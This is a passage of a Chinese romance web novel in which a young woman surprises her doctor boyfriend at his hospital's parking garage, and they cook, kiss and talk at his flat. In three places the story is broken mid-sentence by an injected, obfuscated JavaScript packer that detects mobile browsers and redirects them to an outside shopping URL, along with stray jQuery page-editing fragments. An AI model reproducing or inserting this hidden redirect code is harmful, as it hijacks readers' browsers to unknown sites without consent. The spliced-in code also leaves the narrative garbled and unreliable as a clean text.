“我想吻你。” “……” “像疯了一样。” 迟来的补充不像是从容稳重的他会说的话语,克制的语气里有种压抑不住的疯狂。 急促的呼吸声通过电流传入耳道,虞听的心脏也控制不住地狂跳起来。 *** 大年初八,虞听的朋友圈发布了一条九宫格高清雪景图。 中间那张是她的单人照。戴白色绒线帽、穿天蓝色羽绒服的她站在冰天雪地里笑靥如花,鼻尖还沾着一些碎雪,活脱脱一个清冷小仙女。 照片一经发布,就迎来多方点赞与评论。 好友1:有这样的美女在我的朋友圈,是我的福气! 猫咪不吃鱼回复:嘿嘿,推荐这款富士X-T5相机,360度拍出你的美。 好友2:日系元气美少女!好像电影《情书》的女主角。 猫咪不吃鱼回复:用富士X-T5相机,在国内也可以拍出北海道的感觉哦~ 好友3:宝宝这个滤镜叫什么呀?好漂亮!!! 猫咪不吃鱼回复:富士X-T5相机专用滤镜,你值得拥有! 岁岁:笑死,你是富士宣传大使吗?怎么每条评论都要提一下? 猫咪不吃鱼回复:因为富士X-T5相机就是好用呀~/嘻嘻/ 老爸:宝贝真漂亮!不过为什么不放和爸爸的那张合照?/可怜/可怜/可怜/ 猫咪不吃鱼回复:/握手/握手/握手/ 逐一回复完评论后,虞听成功让富士X-T5这款相机在她的朋友们心中留下了深刻印象。 因为爸爸的反对,她不能明确宣布自己有男朋友了,只能以这种隐晦的方式在朋友圈小小秀了一把恩爱。 作为相机的购买者,方嘉年并没有出现在她的评论区。 即使放寒假了,他好像还是很忙,有时不能及时回复她的信息,电话也时常错过。虞听不觉得有什么,反正他有空就会回复的。 她在相册里精心挑选了半天,最后选了一些九宫格塞不下、自己又特别满意的照片给他发送过去,并在下面留言。 猫咪不吃鱼:感谢亲亲提供的设备,这里提供一组返图。觉得美丽请按5,觉得漂亮请按2,觉得可爱请按0 虞听捂着手机笑得倒在床上。 忽然又想,万一方嘉年不按套路来,回她个250怎么办。 于是赶紧补充一条。 猫咪不吃鱼:必须按顺序作答!!! 聊天窗全部被她发送的消息填满,他肯定一打开手机就会被吓到。虞听忍不住摇摇头,心想自己真是太无聊了。 这时手机“叮咚”一声,显示进来了新消息。 她一个鲤鱼打挺翻身坐起,打开手机,却是方嘉岁发来的消息。 岁岁:/图片/图片/图片/图片/ 岁岁:你在北方的寒夜里大雪纷飞,我在南方的艳阳里四季如春。 照片里的方嘉岁要么穿着清凉泳衣泡在泳池子里,要么就是躺在沙滩椅上喝椰子汁。 猫咪不吃鱼:不冷吗? 方嘉岁甩来一张三亚当地的天气截图。 岁岁:二十多度。 方家在三亚有一套海边别墅,每年寒暑假,他们都会去那边度假。 虞听也跟着去过一回,那是在初三毕业的那年暑假,因为假期比较长,她可以先过去那边玩一周,再去外婆家。 当然海边虞听去过不少次,她并不是为了玩耍而去的,她去是因为方嘉年也在那里,而她想看他穿泳装的样子。 可惜那个夏天方嘉年很少露上半身,比起游泳,他更喜欢去海上冲浪。 是因为谈恋爱了吗?虞听现在无论做什么事,无论跟谁说话,都能联想到方嘉年身上去,她忍不住打字问方嘉岁。 猫咪不吃鱼:嘉年哥在做什么? 岁岁:我怎么知道? 猫咪不吃鱼:你们不是在一起吗? 岁岁:? 岁岁:没有啊。 猫咪不吃鱼:他没跟你们一起去度假? 岁岁:没有。 岁岁:他要留在医院值班,过年都是一个人过的。 虞听震惊地瞪大了眼睛,完全呆住了。 留在医院值班?过年一个人过的? 她不禁想起过年那天,自己忙着祭祖、贴对联、打麻将,几乎一天没理他,只向他炫耀了一下自己收到的压岁钱。而他在当晚给她发来了新年快乐,还打了一笔巨款作为压岁钱。 难道在那个全家团圆举国欢庆的夜晚,他一个人留在冷清的医院值班么? 心脏如被针扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678703|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般,泛出密密麻麻的疼意,眼泪在自己都没有察觉时就掉了下来。 坏东西。 干吗偷偷瞒着她,一个人孤独又凄凉的样子,让她心里难受极了。 虞听下意识就拿起了手机,打开和他的聊天窗,然而刚在对话框打下一行字,又被她一一删去了。 文字不行,文字太贫瘠了,无法表达出她此刻的心情。 语音也不行,隔着几百公里的地理距离,声音无法有效传递。 ——虞听。 ——我想吻你。 昨天下午,他叹息着说出这句话的声音犹在耳边回荡。 虞听知道自己想要什么了。 她想要见他,迫不及待地想见到他那张脸。 她要在他的视线中,飞扑入他的怀中,给他一个大大的、坚实的拥抱,然后告诉他:我想你了,非常非常想你。 *** 正月初十,虞听坐上了回临江的航班。 飞机舷窗外,湛蓝的天空上漂浮着朵朵白云。 “爸爸,其实我真的可以一个人回去的。” 虞听转头,对着旁边座位上一本正经看着旅行手册的虞爸说道。 虞爸微笑:“那可不行,我不放心宝贝女儿一个人在家里。” “可是外婆会伤心的,”虞听认真地说,“正月十五是外婆生日,她这个人最爱热闹了,爸爸为什么不和妈妈留下来陪她过完生日再走?” 虞爸不接招:“外婆最喜欢的是你,最想你留下来陪她过生日,我们这些人都是配菜,你才是主菜。” “……” 虞听深吸一口气,扭头看向左边:“妈妈,你和我换个位置,我不想挨着爸爸坐。” 虞妈:“就这么坐吧,懒得折腾了。” 虞听:“……” 两个小时后,飞机落地临江机场。 一家三口推着行李走出航站楼,外面有不少揽客的出租车。虞爸招手拦下一辆,刚把行李塞入后备箱,却见女儿还站在马路边没上车。 “宝宝上车啊。” 虞听站在原地思索了两秒,说:“爸爸,你和妈妈先回去吧,我要去找个朋友。” 虞爸立即问:“哪个朋友?方家那孩子还在海南。” 拷问的语气令虞听皱眉:“我就不能有除了岁岁以外的朋友么?” “那你说是哪个朋友?” “大学同学。”虞听硬着头皮说。 虞爸冷哼一声:“你们学校都还没开学,哪个学生会提前这么久返校。” 虞听见糊弄不过去,干脆耍赖了:“爸爸太过分了,我已经成年了,为什么去找朋友玩也要征求爸爸的同意?” 虞爸是个女儿奴,在外面多少要称呼一句老总的人,在女儿面前却是颗玻璃心,女儿稍微说一句重话,他就要伤心地掉眼泪,若是平时虞听这么顶撞他,他早就哭了,今天不知哪儿来一股劲支撑着,愣是不退步。 “那你说说到底是哪个朋友,值得你大过年的跑回来,连外婆的生日也不过了?” 虞听急了:“爸爸,你这是干涉我的隐私权,还有我的人身自由!” “宝宝!你这么说爸爸,爸爸……爸爸就……”虞爸捂住胸口,眼圈一红,终究还是落下泪来。 虞听:“……” “你们还走不走!” 司机大叔终于忍不了了,用粗犷的声音吼道。 “老虞,进来吧,”已经坐进后排的虞妈说道,“宝宝,你自己注意一下,走路要看车,回家就跟爸爸说,让他去接你。” “好的,妈妈。”虞听一口答应下来。 “十点前要回来,十点了你不回来我就报警。”虞爸流着眼泪也不忘嘱咐。 “……” “记住,十点!” 直到出租车开远了,虞爸都扒着车窗探出头来,向渐行渐远的虞听比着“10”的数字,被虞妈强行拉进去才作罢。 总算送走了老爸老妈,虞听脚步轻快地拦了辆出租车,直奔目的地临江大学附属二医院。 27. 热恋期08 虞听偷偷策划了一场惊喜。 而这场惊喜离不了方嘉岁的帮忙。早在前天,她就委托方嘉岁弄来了她哥哥的排班表。 大年初十,全国各地单位都已陆续恢复上班,方嘉年今天排的恰好是门诊,下午五点半就能下班。 她要提前在停车场找到他的车,然后藏起来等他,等他下班开车回家时,再跳出来吓他一跳。 他会是什么表情呢?惊吓还是惊喜? 女朋友千里迢迢飞回来找他,甚至抛弃了爱她的外婆,他应该会很感动吧? 这还是他们在一起之后,第一次以男女朋友的身份见面呢。会生疏吗?会尴尬吗?还是一见到她就先给她一个拥抱,或是一个深吻呢? 啊……好害羞。 不行,不能再想下去了。 虞听蹲在方嘉年的车旁边,捂着通红的脸颊想入非非。 虽然这场惊喜她错误地预估了时间,导致她提前一个半小时抵达了停车场并找到他的车。但没关系,才一个半小时而已,她可以用这段时间来充分地做好见他的心理准备。 停车场在地下负一层,车停的位置正好处在地下通道的出口,一股寒风从甬道尽头钻进来。 虞听以前不知道听谁说过,附二医是在坟场上建起来的,哪怕大夏天都阴风阵阵,阴气加上这股刁钻的寒风,最直接的后果就是虞听打喷嚏了。 看来对方嘉年的爱意也不能替她护体,她拖着冻僵的身子老老实实躲去了车后,因为感觉脚趾头已经冻得麻木没有知觉,又起身蹦跶了两下,跳了一套健身操,身体这才有点热度了。 曾经在哪本书上看过这样一句话,如果你说下午四点来,那我从三点就开始快乐。说明等待是一件让人感到幸福的事。 虞听认可这句话是真理,她感受到了等待的乐趣,光是想象着方嘉年见到她时的表情,心就激动地无法平静下来。 兴许是太沉浸在这臆想的场面中,以至于没能听到逐渐接近的脚步声。 当她意识到有人靠近时,已经来不及再躲起来,没有想象中的闪亮登场,抱着膝盖傻不愣登蹲在地上的她偶然抬起头时,思念了许久的方嘉年的脸就这么出现在眼中。 “……” 虞听有点欲哭无泪。 策划了两天的惊喜,一个半小时的等待,就因为她的马虎,就此泡汤了。 不远处的方嘉年停下了脚步。 他的神情完全地僵住了,看着她的方向,良久没有反应。 唉,都这样了,干脆别整什么惊喜了。 虞听认命地站了起来,灰头土脸地向他打招呼:“嘉年哥……” 方嘉年:“……” 与设想的完全不同,方嘉年脸上既没有感动,也没有惊喜,相反,他沉着脸大步走过来,气势强到像要去杀人,走路都带起了风。 没有拥抱,没有亲吻,他一把拽住了虞听的手臂,动作用力到甚至有些粗鲁。 “你在这里干什么?”问话也是虞听想象不到的质问语气。 虞听完全懵了,这个反应对吗? “等……等你……”嘴里下意识吐出两个字。 换回了方嘉年更为冷肃的回复:“等多久了?” “一个半小时……” “……” 他仰头叹了声气,呼出的气体在空中凝结出白雾。抓着小臂的大手滑落至掌心,眉头深深皱起,口吻却温和了一些,透着些许无奈:“手为什么又这么凉?” 他一旦放软语气,处在愣怔中的虞听立即就感觉到了委屈,鼻子也酸胀得像切了一百个洋葱,她拼命在心底警告自己:别哭,要是在这里哭就太丢人了。 “有……有风……” 真是忍不住了。 冲谁发火呢?那么凶干什么! 人渣,败类,光有一张脸的垃圾,真该让他尝尝被甩的滋味! 方嘉年看了眼不停刮着风的通道出口:“怎么不找个暖和点的地方……算了。” 他拿出车钥匙给车解锁,随即一把拉开副驾驶车门,将虞听塞了进去——对,就是塞进去。 虞听甚至都还没反应过来,车门砰地一声响,他已经快速绕过车头坐了进来,上车后的第一件事就是启动车子打开暖气。 空调暖风扑到双腿上,冻僵的身体终于有了一丝暖意。 虞听还在怔怔出神,一股洗发水的香气钻入鼻尖,是方嘉年凑了过来。 两人的脸只有毫厘之距,她甚至能清晰地看到他根根分明的眼睫毛。 虞听:“……” 是……是要接吻吗? 她还有点没准备好。 虞听紧张地抓住了车座椅,就当她准备闭眼时,“嗒”的一声轻响,胸前一紧,方嘉年替她绑好了安全带。 “……” 方嘉年退回了驾驶座,一边将车开出停车位,一边严肃地说:“听听,下次不要干这种事了。” 虞听:“……” 什么事?是误会他要亲她这件事,还是在停车场等他这件事? 估计是后者吧。 他就这么不喜欢她来找他吗? 见面这么久,除了质问,一句也没有问她怎么提前回来了? 太卑微了,这样卑微的自己太讨厌了。 虞听忍住想哭的冲动,本想说一两句狠话,可一开口,却是件毫不相关的事:“我……我外婆正月十五的生日。” “是吗?”方嘉年注意着路况,并不怎么在意,“那怎么不留下给外婆过生日?” “……” 当然是为了你啊!大渣男! 她是个为了男人抛弃外婆的不孝外孙女。 虞听更想哭了。 “吃饭了吗?” “没……没吃。” 都到这个份上了,这总是下意识回答他的没用嘴巴也该捐了! “那先去超市买菜吧。” 随之而来的回答却令人匪夷所思。 虞听忘了难过:“啊?” 方嘉年转过头来,露出今天见面后的第一个笑容:“听听,要不要去我住的地方看看?” 虞听早就知道方嘉年在外租有房子。自从进入研究生学习阶段后,他留在医院的时间比在学校更多,而临江大学距离附二很远,他经常要排晚夜班,总不能那么晚了还赶回寝室睡觉,所以干脆在医院周边租了个房子。 虞听虽然听方嘉岁提起过,但从没有去过。 她对方嘉年的一切都感到好奇,何况是这种他用来吃饭睡觉、充满他味道的房子,这个提议对她来说无异于在狗面前放根肉骨头。 “我要去!” 她几乎是瞬间脱口而出,完全忘了自己之前还沉浸在难过的情绪里。 看着方嘉年唇边的笑容,她再次悲哀地意识到,自己输得一败涂地,完全被他拿捏在了掌心里。 *** 租的房子附近就有家大型连锁超市。 看得出方嘉年常来,他对这家超市的区域分布了如指掌,生鲜区、调料区、水果蔬菜区……压根不需要人指路,他自己就能准确找到,并且路径规划科学合理,基本没有走回头路。 虞听想象中的和他逛超市,是她挽着他的手臂,两人慢悠悠地闲逛,如果有试吃区就去尝尝,一起商量要买什么零食,恩爱得就像刚结婚的小夫妻。 现实与想象差得十万八千里。 除了进超市时他说了句“喜欢什么就拿”,全程他没有与她讲一句话,只是牵着她从一个区到下一个区,买什么也不询问虞听的意见,将食材扔进购物车就走人,整个过程一分钟不到。 难道学霸连买菜都这么高效吗? 虞听是真没见过逛个超市都能逛出赶场感觉的人,也没到打烊时间,至于这么着急吗? 她觉得自己就像晚上散步时会遇见的那些遛狗的人,当然她是被遛的那位,如果方嘉年手中牵条狗,大致也是同样的效果。 方嘉年买菜时,她无聊地四处张望,看见冷鲜区那边在做冰激凌的促销活动。 虞听有点想吃,扯了下方嘉年的衣袖:“哥……” “差点忘了。” 清点着购物车内食材的方嘉年像是突然想起了什么,根本没听到她说话。于是虞听眼睁睁看着心爱的冰激凌离自己越来越远,被方嘉年拉去了生鲜区。 最后一趟超市逛下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684011|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了一大堆食材,竟然才花了三十分钟不到。 回去的路上,方嘉年专心开车,依然没有跟她说话的意思。 难道还在因为她来医院找他的事生气? 看着他望向前方的专注侧脸,虞听是真的没法得知这个男人心底在想什么,悄悄叹了一口气,她问:“可以听歌吗?” “……嗯?”方嘉年居然有些出神,过了一会儿,才反应过来她在说什么,“可以,要听什么?” 握着方向盘的一只手松开,要去点击屏幕。 虞听:“我来吧,哥哥开车就行。” 方嘉年:“等等……” 来不及阻止,虞听已经拉出播放列表,随便点了一首英文歌。 本以为是抒情歌的类型,谁知突然从扬声器传出一声男人的咆哮,将她吓得往上一弹,脑袋磕上了扶手:“妈呀!这是什么?” 这……这什么音乐?摇滚乐? 激烈的吉他伴奏加上男人撕心裂肺的吼声立马充斥了整个车厢,虞听的耳朵都要震聋了,很快,修长的手指伸向了屏幕,吵闹的音乐戛然而止。 恢复安静的车厢里,方嘉年扭头笑着道:“我的音乐口味有点特别吧?” 虞听:“……” 岂止是特别啊。 看着斯文的人,居然会喜欢听这种暗黑的重金属摇滚乐? 他还有多少惊喜是她不知道的? “头痛不痛?”他担忧地看来一眼。 “嗯?” “刚刚不是磕到了吗?” “……还好。” 虞听揉了揉被撞到的位置,没有刚刚那么痛了。 “给你放别的歌,想听什么?” “不用了……” 虞听已经没有了听歌的兴致。 一路无话,车驶进了他租住的小区。 “哥哥住几楼?” 电梯里,因为方嘉年两只手都提满了东西,所以虞听自觉地要帮他按楼层。 “13楼。” 按下数字13,虞听重新站回他身边,挨擦着他的身体。 电梯轿厢里有一面镜子,她清楚地看见自己只到方嘉年的肩膀。 从他的视角看自己会是什么样呢? 虞听脑中闪过这些乱七八糟的念头,又因为气氛太沉闷,忍不住没话找话:“住在这里,一个月房租多少钱?” “……” 问题没有得到丝毫回应,就这么尴尬地沉到了底。 虞听好奇地扭头望去,只看见方嘉年沉默的侧脸,他出神地紧盯着电梯显示屏上不断变化的楼层数,不知在想些什么。 10、11、12。 “叮——”地一声,13楼到了。 “出去吧。” 他拎着购物袋率先走到了前面,看着他大步走出的背影,虞听突然有点难过。 不知道自己连外婆的生日宴也不参加,非要提前赶回临江,还在医院寒冷的地下停车场等了一个半小时的意义是什么? 难道就是看他对她爱答不理,心不在焉,连句话都不想跟她说的样子么? 算了,还是回去吧。 她根本就不应该来这儿,他并不欢迎他,也许还不喜欢她。 还要继续丢人到什么时候? 她低着头跟着他走到了门口,强忍着心酸道:“嘉年哥,我想……” “回去了”三个字还没出口,门被打开了。 接下来的事快得令人无暇反应,沉重的购物袋“咚”地掉落在了地上,而虞听手臂一紧,被一股大力拉了进去。 冬天昼短夜长,傍晚六点时分,天色已经完全暗淡了下来。 公寓里没开灯,一片黑暗。 虞听背抵在冰冷的门板上,脑后还垫着一只温热的手掌。 在昏暗的视野中,她什么也看不清,只能看见眼前人模糊的轮廓。 他突然低下头来,距离极近,唇瓣几乎相贴,最后停留在一个若即若离的危险距离。 虞听霎那间屏住呼吸,心剧烈地跳动起来。 就像事到临头才想起来要征求同意,她听见方嘉年问: “要接吻吗?” 28. [锁] [此章节已锁] “现……现在吗?” 提议来得太突然,怎么能招呼也不打一声就把人拉进黑漆漆的家里,然后问她要不要接吻。 虞听后知后觉地想到,这即将是自己的初吻。 怎么办?她有吃东西吗?嘴里会不会有味道? 想起来了,在去地下车库之前,她看到医院前面有卖糖葫芦的,一时嘴馋就买了一串。 不行,她不能让自己的初吻充斥着糖葫芦的味道。 “我……我先去刷牙吧,”虞听慌张地捂着包,还好自己有随身携带清洁工具的习惯,“这里有洗手间吗?借我用一下……” 方嘉年低头看着她,笑了一下。 紧接着,唇上一重,吻铺天盖地而至。 虞听曾不止一次地想象过,和方嘉年接吻是一种怎样的感受。 他的唇形优美,唇瓣饱满,看上去水润又柔软,好像很好亲的样子。她想他的吻一定和他这个人一样,温温柔柔的,就像春天的柳絮拂过唇畔,带来一种麻酥酥的感觉。 可实际接吻的体验截然相反。 几乎是唇落下的瞬间,嘴唇就被吞吃掉了,他含着她的唇肉用力吸吮,啃咬,甚至用舌尖刮擦她的上颚,连牙龈都不放过,全都细致地扫了一遍。 “酸酸甜甜的,”他在她舌尖品尝了一遍,若有所思地问,“吃了什么?” “冰……冰糖葫芦……” 虞听的脑子已经完全懵了,全依靠本能在回答。 方嘉年舔了舔唇瓣,这个动作竟然有些别样的味道。 很快,吻再次落了下来。 虞听头脑空白,感到窒息,双膝不受控制地发软,完全靠搂在腰间的那条手臂才不至于跌坐在地。 “抱着我。” 亲吻的间隙,紧紧相贴的双唇终于分离了片刻,发出简单的指令后,又再度贴了上去。 虞听意识模糊地将手缠绕上他的脖子,被堵得无法呼吸,忍不住出声求饶:“哥……哥……” “没关系,没事的。” 放在背后的大手轻轻抚慰着,他用言语温和地诱导,时而揉一揉发热的耳垂,渗着泪水的眼尾。明明亲吻的动作如此凶猛,可安抚她的手部动作又像她平时认识的那个方嘉年。 温柔与暴烈两种气质在他身上交替出现。 虞听连什么时候从玄关转移去客厅的都不知道,直到后背接触到柔软的坐垫,才发现自己不知何时已经被方嘉年压到了沙发上。 接吻还在继续,因为是压在她身上的姿势,她更直观地体会到了方嘉年只是看着清瘦,其实是个大块头,他的体重压得她喘不过气。 虞听的表情渐渐地僵硬了,眼神中流露出恐惧:“哥……” “嗯……” 那不断吻着她的男人终于停下了动作,埋在她肩膀上深吸了一口气,这才抬起头,明亮的双眼就像一顿饱餐之后的野兽。 “我去下洗手间。” “……嗯。” “乖乖待着,我很快就来。” “……知道了,哥哥快去吧。” 方嘉年笑了,揉了把她的头发,起身去了洗手间。 他走后,虞听躺在沙发上,呆望了天花板三秒钟,随即双手捂住脸,无声地在心底哀嚎。 完了,完了!她完全被吃干抹净了! 这可是她的初吻,谁的初吻一上来便是舌.吻! 太肮脏了,太堕落了,跟她想象中的截然不同。 方嘉年那么礼貌温和的一个人,难道不应该先缓缓摩挲嘴唇,然后再循序渐进的吗?怎么能一开始就伸舌头呢? 不过……他确实是很会亲就对了。 虞听想起刚刚自己都腿软了,甚至中途还发出了几声奇怪的呻.吟,一想到这里,她就觉得丢人。 但是……他为什么这么会亲呢? 接吻这种事,难道还有天赋异禀的吗?还是说,这并不是他的初吻呢? 方才还激荡的心情一下子跌落到了谷底。 方嘉年在洗手间待了很长时间,久到虞听跌宕起伏的心情都已经平静下来,开始收拾被他扔在门口的购物袋。 她将食材拿出来,一一在厨房的岛台上整理好,暂时用不到的就放进冰箱。 正翻着购物袋,却发现他竟然还拿了几罐酸奶,是她平时爱喝的那款大果粒酸奶。 其实一直给方家冰箱里放酸奶的人就是他对吧? 虞听感觉心里甜滋滋的,将酸奶整整齐齐地放进冰箱,又去整理剩下的食材。 蔬菜这些都还好,她唯一不敢碰的是那一袋罗氏虾,里面的虾甚至还活蹦乱跳的,尝试着去伸手时,方嘉年从浴室出来了。 “别碰。” 他大步走过来,将虾干净利落地扔进水槽里。 走过来时,他的身上弥漫着沐浴露的香气,也换了身居家服,额发半干半湿,还沾着水汽,貌似是刚在里面洗了个澡。 “我来帮你吧,嘉年哥。”虞听做不到来别人家做客,主人做饭时,她无所事事地坐着。 “不用,我来做就好。” “还是一起做吧。” “不想让你的手沾到水。” 看到她纠结地站在原地,像只主人不发令就无法安心玩耍的小狗,方嘉年笑了:“去玩吧,饿了就吃零食,要给你打开电视吗?” “……” 语气简直就像哄三岁小孩一样。 虞听不再坚持了,转头看了看四周:“那我可以参观房子吗?” “随便看,把这拆了都没事。” “……我为什么要拆哥哥的家?” “是让你自在点的意思。” 方嘉年抬头冲她笑了笑,抽出工具架上的菜刀,准备开始处理食材。 这间公寓很明显是给单身人士准备的,面积不大,但东西齐全,一室一厅的格局。 虞听没有去卧室,只在客厅看了看。 房子很有方嘉年的特征,干净整洁,明面上没有摆什么乱糟糟的东西,就连茶几上都只放了纸巾盒、电视遥控器这几样常用的物件,连绿植也没有。 虽然整齐利落,但却缺少了生活气息,好像他每天回家来只是睡个觉。 不过客厅里倒是放了个书架,这是唯一能看出主人痕迹的存在。书架上摆满了医学专业书籍和杂志期刊。别人看了可能会咋舌,但虞听知道这只是冰山一角,在方家他的房间里摆放着更多的书。 虞听随便抽了一本出来看,但很快就被满纸晦涩难懂的医学词汇所劝退,吐了吐舌头,将书原样放了回去。 转来转去,最后还是转去了厨房岛台,坐在椅子上,安安静静地看方嘉年做饭。 *** “吃饭吧。” 简单的四菜一汤上桌,虞听不是第一次吃方嘉年做的饭,但却是第一次单独吃他做的饭,以前都有方嘉岁在,今天却只有他们两个人,这让她有种这顿饭是专门做给自己吃的错觉。 “哥为什么不吃?” 虞听一边扒着饭,一边问连筷子都没有拿起来的方嘉年。 她以前就觉得很奇怪,他似乎总是喜欢看她吃饭,虞听知道自己的吃相让人很有食欲,但也不至于这么目不转睛地盯着看吧。 方嘉年:“光看你吃我就饱了。” “……拜托别说跟我爸爸一模一样的话。”虞听受不了似的耸耸肩。 方嘉年笑了笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690058|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从盒子里抽出一次性手套戴上,剥了一只完整的虾,蘸了蘸酱料放入她的碗里。 虞听看着那只个头足有手掌大的白灼虾,忽然想起他在超市专门绕去生鲜区买虾,难道就是为了剥给她吃吗? “怎么了?”见她迟迟不吃,方嘉年问。 “没什么,”虞听抬头笑道,“我喜欢在饭桌上照顾人的男人,特别有魅力。” “那以后只跟我吃饭吧。” 虞听反应了一下,才明白过来这句话的意思——不想让她觉得别人有魅力,所以只跟他吃饭。 “哥哥好像比我想象的更容易吃醋。”唇边的笑容忍不住扩大。 方嘉年:“不喜欢吗?” 虞听赶紧摇头。 她喜欢方嘉年呈现出来的各种模样,不管是她熟悉的,还是陌生的。那只会让她觉得自己越来越了解他,并为他这些错综复杂的多面性而深深着迷。 “……哥,够了,我吃不完。”只是走了一会儿神,碟子里剥好的虾就堆成了一座小山。 “不是想让我给你剥虾的吗?只给你剥。” “……” 突然被他重提当晚的告白誓言,羞耻心后知后觉地涌上来,虞听斟酌了片刻说:“哥,其实我那天想过了,只给我一个人剥的话,有些不切实际。我可以接受你给岁岁剥虾。” “还有方叔叔和薛阿姨。”她补充了一句。 “我只给你剥。”方嘉年说。 “……”不孝子啊。 “你呢?” “嗯?”虞听反应过来,“让我也给你剥吗?” 她正要去盘子里拿一只虾,手就在半空被方嘉年截住了,他脱了手套,修长白皙的手在餐厅灯光的照耀下,就像一件精美的艺术品,手指向下弯曲,与她十指相扣。 “你有什么能够为我做的?”他微笑着,目光灼灼,直视着她的双眼,“只为我做的?” 虞听瞬间领会了他的意思。 那天她在电话里说,爱情里是会产生独占欲的,我希望你为我做的事,是只做给我一个人的。如果说她要求的是只给她一个人剥虾,那她又能为他做什么呢? 虞听一时想不出来,干脆直接问他:“哥哥想让我做什么?” “画画。” “嗯?” “只为我一个人画画,”灯光下,方嘉年精致的眉眼愈发温润,就这么不眨眼地盯着她,“做得到么?” 十指相扣,掌心相贴,指缝的每一寸都被填满。 ……用这种语气说话,还这么看着她的话,这是犯规啊。 虞听真是感同身受地理解了那些古代昏君,为什么会为了美人干尽各种荒唐事,美色当前,实在很难让人保持清醒。 “好啊……不是!等等……”她连忙道,“哥,这我做不到啊……” “为什么做不到?”声音莫名变得低沉了。 “美术生怎么可能只画一个人?” “不是还有其他绘画对象么?静物、风景、动物,这些你都可以画,人的话只画我一个,不可以么?” 他替她分析的表情十分认真,似乎真的不是在开玩笑。 虞听哭笑不得:“哥,不行的,我们还有人体素描和造型课的。” 况且相比起静物写生,人体复杂的肌肉走向、五官分布以及神韵的捕捉对美术生的要求更高,所以同一个模特,每一个人笔下画出的感觉都不一样。 “但是,”虞听想了想,还是痛下决心道,“我保证,以后只有哥哥,我才会满怀爱意地去画。” “那其他人呢?” 还能怎么办?为了哄男朋友,虞听毫无原则地说:“用我冰冷的专业素养去画。” 29. 热恋期10 吃完一顿美味的晚餐,又在饭后喝了暖暖的柚子茶,两人在沙发上看起了电影。 当然,说是看电影,不过是把电视上正在播放的电影当做背景音,而他们延续起了进门后在玄关做的事。 虞听现在多少适应了方嘉年的接吻攻势,虽然他吻得又凶又急,但不停抚摸她的那只大手却带着她习惯的温柔,她逐渐喜欢上与他这样亲密的感觉。 唇舌.交.缠的声音在室内十分响亮,听得人面红耳赤。 虞听忍不住别过头去,而方嘉年追着吻了好几下之后,也抬起身子,适当拉开了二人之间的距离。 接吻是个不断练习和磨合的过程,就像虞听适应了他的吻势,而他在获得暂时性的满足后,也学会了适当地留给她喘息的空间。 虞听嘴唇翕张,像搁浅在岸上的鱼,呼吸着新鲜空气。 温热的手指触上她饱满鲜红的唇瓣,微微向下按了一下,按出一个浅坑。 方嘉年:“有些肿了。” 还不是他亲得太用力…… 虞听抓开他的手指,终于忍不住问出那个浮在心头的疑问:“哥哥,这是你的初吻吗?” “不是。” “……” 果然不是吗?她就知道!这么会吻怎么可能是新手! 而且他怎么能一秒钟都不犹豫就说出了答案,难道都不会在意她的心情吗? 虞听又想分手了,忍住想骂人的心情,她冷冰冰地问:“你的初吻对象是谁?” ……不会是江诗逸吧? 不对,他说过他们只是同班同学。 可答案太出乎她的意料—— “你。” “……不是说不是和我吗?”虞听完全绕晕了。 “没说不是和你,我是说这不是第一次,”方嘉年叹了口气,道,“你和我第一次接吻,是在大学城后街的巷子里。” “……” 啊……原来他说的是那次醉酒后的亲吻。 早说明白不就好了。 虞听转怒为喜的同时,又有一些说不出的失落:“可是……我都不记得了。” 那天她喝得太醉了,还以为那是一场梦呢。 真正清楚地记得那个吻的人,也许只有他了。 方嘉年笑了笑,双手捧着她的脸问:“那要再复习一遍吗?” 说着就要低头亲下来,虞听赶紧阻止:“等等……” 她实在是不能亲了,再亲嘴唇真的要肿了,等下回家被爸妈看出来就糟了。 “我还有一件事要问。” “什么事?” “我提前飞回来找你,你很不喜欢吗?” 虞听对这件事真的耿耿于怀一天了,她必须要问清楚。 方嘉年荒谬地皱起眉头:“怎么会?我很高兴。” “……可你不是在停车场骂我了嘛。” “我有骂你?” “反正是凶了……”虞听承认自己夸张了点,“而且你还让我下次别去找你。” 现在说起来还会觉得委屈,大老远地跑回来找他,连外婆的生日都没留下一起过,可他却将她劈头盖脸一顿质问,还让她下次不要再干这种事。她没气得当场离去,已经算顶好的脾气了。 方嘉年想了想道:“知道你当时是什么样子吗?” 虞听:“……什么样子?” 难道看上去很傻吗? 方嘉年:“脸白得能去刷墙了。” 虞听:“……” 方嘉年低头看着她,认真道:“比起你等我这件事带来的惊喜,我更讨厌看见你挨冷受冻的样子。” 虞听呆呆地回视着他。 